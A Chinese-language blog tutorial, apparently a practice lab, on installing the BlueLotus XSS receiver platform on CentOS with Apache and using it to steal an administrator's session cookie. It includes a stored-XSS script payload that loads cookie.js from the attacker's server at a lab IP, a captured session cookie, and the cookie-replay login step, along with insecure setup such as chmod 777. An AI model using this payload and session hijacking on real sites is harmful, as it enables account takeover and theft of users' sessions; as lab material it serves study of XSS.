• 构造个人轻量级XSS平台获取管理员cookie并登录


    一、前言

    本平台是个人轻量级XSS测试平台,仅作为练习参考。

     二、实验环境

    服务器操作系统:Centos 7

    Web容器:Apache

     三、平台搭建过程

    安装Apache

    安装PHP

    安装Git工具

    GitHub克隆XSS平台源码

    # 删除默认网站内容

    rm  -rf  /var/www/*

    # 创建新的网站目录

    mkdir  /var/www/xss

    GitHub克隆xss测试源码(https://github.com/firesunCN/BlueLotus_XSSReceiver.git

    git  clone  https://github.com/firesunCN/BlueLotus_XSSReceiver.git  /var/www/xss/

    # 给xss目录

    chmod  -R  777  /var/www/xss/

    配置Apache

    # 创建虚拟主机配置文件夹

    mkdir  /etc/httpd/conf/vhost

    # 创建并编辑虚拟机配置文件

    vi  /etc/httpd/conf/vhost/httpd-vhosts.conf

    添加以下内容:

    <VirtualHost *:80>

           DocumentRoot "/var/www/xss"

           DirectoryIndex admin.php

    </VirtualHost>

    # 编辑httpd.conf文件

    vi  /etc/httpd/conf/httpd.conf

    # 允许使用 .htaccess文件

    # 添加之前创建的虚拟主机

    Include  /etc/httpd/conf/vhost/httpd-vhosts.conf

    # 开机启动Apache服务

    chkconfig  httpd  on

    # 重新加载Apache配置文件

    systemctl  start  httpd

    回到浏览器访问服务器结果显示无法访问网站,经过排查是防火墙拦了。

    # 命令行配置防火墙开放80端口

    firewall-cmd --zone=public --add-port=80/tcp --permanent

    # 重启防火墙

    systemctl  restart  firewalld

    安装XSS平台

    # 访问服务器ip地址,点击安装

    # 主要修改后台登录密码和数据加密密码,其余保持默认,然后提交

    若报错则手动安装,手动安装步骤:

    # 首先切换到网站跟目录

    cd  /var/www/xss

    # 将配置文件改名

    mv  config_sample.php   config.php

    # 删除install.php文件

    rm  -f  install.php

    # 若要修改密码信息只需修改config.php文件

    安装成功,点击登录

    成功登录

    功能测试

    # 点击我的JS,插入模板,选择Defualt.js,修改网站服务器ip地址

    http://192.168.75.129/index.php

    # 生成payload

    <script src="http://192.168.75.129/myjs/cookie.js"></script>

    # 成功获取用户cookie

    ASPSESSIONIDCQBSTQBB=BHILNFDBLNPBDMOBFPHNOFBJ

    # 利用Google浏览器插件edit this cookie修改cookie登录

    到此存储型xss注入获取管理员cookie并登录已经圆满完成。

     

  • 相关阅读:
    webform--常用的控件
    .net嵌入c#代码(投票练习)
    webform之session传值(临时数据的存储)与扩展属性 --(购物车练习)
    ASP.NET aspx页面中 写C#脚本; ASP.NET 指令(<%@%>);
    LinQ操作
    什么是C# Lambda表达式?形如:p=>p.abc
    winform基础
    3D计算机图形学读书笔记—Wat版本
    计算机图形学的领域与分类
    NetBeans中文乱码解决办法
  • 原文地址:https://www.cnblogs.com/panisme/p/8445071.html
Copyright © 2020-2023  润新知